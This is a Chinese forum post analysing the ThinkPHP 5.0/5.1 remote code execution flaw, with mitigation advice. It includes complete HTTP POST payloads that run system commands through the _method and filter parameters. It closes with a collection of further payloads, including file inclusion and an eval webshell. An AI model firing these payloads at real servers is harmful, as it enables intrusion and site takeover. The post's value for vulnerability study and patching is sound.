kernelphp

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 666|回复: 0

ThinkPHP漏洞

[复制链接]

45

主题

45

帖子

671

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
671
发表于 2019-11-25 11:48:32 | 显示全部楼层 |阅读模式
漏洞分析漏洞点
[size=1.13em]此次漏洞出现在ThinkPHP用于处理HTTP请求的Request类中,其中的method方法用于获取当前的请求类型。
[size=1.13em]thinkphp/library/think/Request.php
[size=1.13em]
[size=1.13em]var_method为“表单伪装变量”,可在application/config.php中定义:
[size=1.13em]
[size=1.13em]该变量用于请求类型的伪装,官方文档如下:
[size=1.13em]
[size=1.13em]由于没有做任何过滤,我们可以通过控制_method参数的值来动态调用Request类中的任意方法,通过控制$_POST的值来向调用的方法传递参数。
[size=1.13em]来看一下Request类的构造方法:
[size=1.13em]thinkphp/library/think/Request.php
[size=1.13em]
[size=1.13em]该方法将传入的数组进行遍历,如果数组的键名与类的属性名相同,就将对应的值赋给类属性。因此我们可以通过控制post参数来控制Request类的各种属性。
漏洞触发
[size=1.13em]漏洞点已经找到,那么如何来触发它呢?
5.0.0-5.0.12
[size=1.13em]payload:
POST /tp5010/public/index.php?s=index/index/index HTTP/1.1Host: 127.0.0.1:8000Content-Length: 52Content-Type: application/x-www-form-urlencodeds=whoami&_method=__construct&filter[]=system
[size=1.13em]ThinkPHP在解析路由的过程中会调用Request类的method方法:
[size=1.13em]thinkphp/library/think/Route.php
[size=1.13em]
[size=1.13em]具体调用流程如下:
[size=1.13em]
[size=1.13em]此时我们已将类属性成功赋值为我们可控的值,接下来ThinkPHP会处理请求的参数,调用流程如下:
[size=1.13em]
[size=1.13em]由于我们之前覆盖了Request类的filer属性,该属性用来指定全局过滤函数,所以所有的http参数都会经过过滤函数。
[size=1.13em]thinkphp/library/think/Request.php
[size=1.13em]
[size=1.13em]跟进filterValue函数:
[size=1.13em]
[size=1.13em]可以看到在filterValue方法中调用了call_user_func成功执行了system函数。
5.0.13-5.0.23
[size=1.13em]在ThinkPHP 5.0.12之后的版本中,在thinkphp/library/think/App.php的module方法中增加了设置filter属性的代码:
[size=1.13em]
[size=1.13em]这样一来我们之前设置的filter属性就会被重新覆盖为空,导致之前的payload失效,必须寻找新的触发点。
[size=1.13em]我们回看上面的调用过程,发现Request类中的param方法也调用了method方法:
[size=1.13em]
[size=1.13em]
[size=1.13em]当method参数为true时,会进入server方法,跟进看一下:
[size=1.13em]
[size=1.13em]继续跟进input方法:
[size=1.13em]
[size=1.13em]可以看出Request类的server属性是一个数组,并且是可控的,这里input方法将key为REQUEST_METHOD的成员取出来放入了filterValue方法。这里我们需要找到调用Request类的param方法的地方来触发漏洞。
开启了debug模式
[size=1.13em]如果debug模式开启,在thinkphp/library/think/App.php的run方法中会记录路由和请求信息,此处调用了param方法。
[size=1.13em]
[size=1.13em]由于此时还没有执行到module方法,所以filter属性仍是我们设置的值,没有被重新赋值。
[size=1.13em]payload:
POST /tp5023/public/index.php HTTP/1.1Host: 127.0.0.1:8000Content-Type: application/x-www-form-urlencodedContent-Length: 70_method=__construct&filter[]=system&server[REQUEST_METHOD]=id有直接路由到控制器类或者方法的路由规则
[size=1.13em]payload:
POST /tp5023/public/index.php/?s=captcha HTTP/1.1Host: 127.0.0.1:8000Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
[size=1.13em]根据前面的分析,我们知道之前的payload失效的原因是在thinkphp/library/think/App.php的module方法中增加了设置filter属性的代码,那么我们可不可以不执行module方法而执行其他方法呢?
[size=1.13em]thinkphp/library/think/App.php
[size=1.13em]
[size=1.13em]可以看到exec方法通过$dispatch['type']来决定调用哪个方法,在调用controller和method方法时都调用了Request类的param方法。现在来看一下$dispatch是从哪来的:
[size=1.13em]
[size=1.13em]跟进routeCheck方法:
[size=1.13em]
[size=1.13em]从配置文件中读取了路由配置后导入,然后进入了Route类的check方法。
[size=1.13em]thinkphp/library/think/Route.php
[size=1.13em]
[size=1.13em]这里调用了我们熟悉的method方法,这里就是我们进行变量覆盖的地方,再来看一下method方法:
[size=1.13em]
[size=1.13em]在我们覆盖了类属性之后,直接将method属性返回了。获取到method之后,会根据method的值到self:rule中获取相应的路由规则。
[size=1.13em]
[size=1.13em]由于ThinkPHP有自动加载机制,在运行时会自动加载vendor目录下的第三方库。加载过程如下:
[size=1.13em]
[size=1.13em]其中ThinkPHP完整版中有一个验证码的第三方库,在被加载的时候会注册一条路由规则,当我们访问http://xxx/captcha时会路由到\think\captcha\CaptchaController的index方法。
[size=1.13em]vendor/topthink/think-captcha/src/helper.php
[size=1.13em]
[size=1.13em]回到thinkphp/library/think/Route.php
[size=1.13em]ThinkPHP会解析这条路由规则,解析过程如下:
[size=1.13em]
[size=1.13em]
[size=1.13em]由于这条规则是直接路由到控制器类的方法,所以type为method。
[size=1.13em]
[size=1.13em]再回到thinkphp/library/think/App.php的exec方法,可以看到已经能够执行param方法,达到了rce的目的。
漏洞防御
  • [size=1.13em]线上环境建议关闭debug模式
  • [size=1.13em]升级到ThinkPHP 5.0.24
  • [size=1.13em]手动增加过滤,在thinkphp/library/think/Request.php添加如下代码:
    [size=1.13em]

花式payload
[size=1.13em]漏洞出来之后师傅各显神通,骚payload一个接一个。精力有限,没法挨个分析,在这里收集一下。
  • [size=1.13em]5.1版本,需设置error_reporting(0);
    POST /tp5132/public/index.php HTTP/1.1Host: 127.0.0.1:8000Content-Type: application/x-www-form-urlencodedCookie: XDEBUG_SESSION=PHPSTORMContent-Length: 28c=system&f=id&_method=filter
  • [size=1.13em]利用文件包含
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
  • [size=1.13em]利用其他变量传参
    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|kernelphp ( 陇ICP备15003130号-2 )

GMT+8, 2022-8-12 16:11 , Processed in 0.040484 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表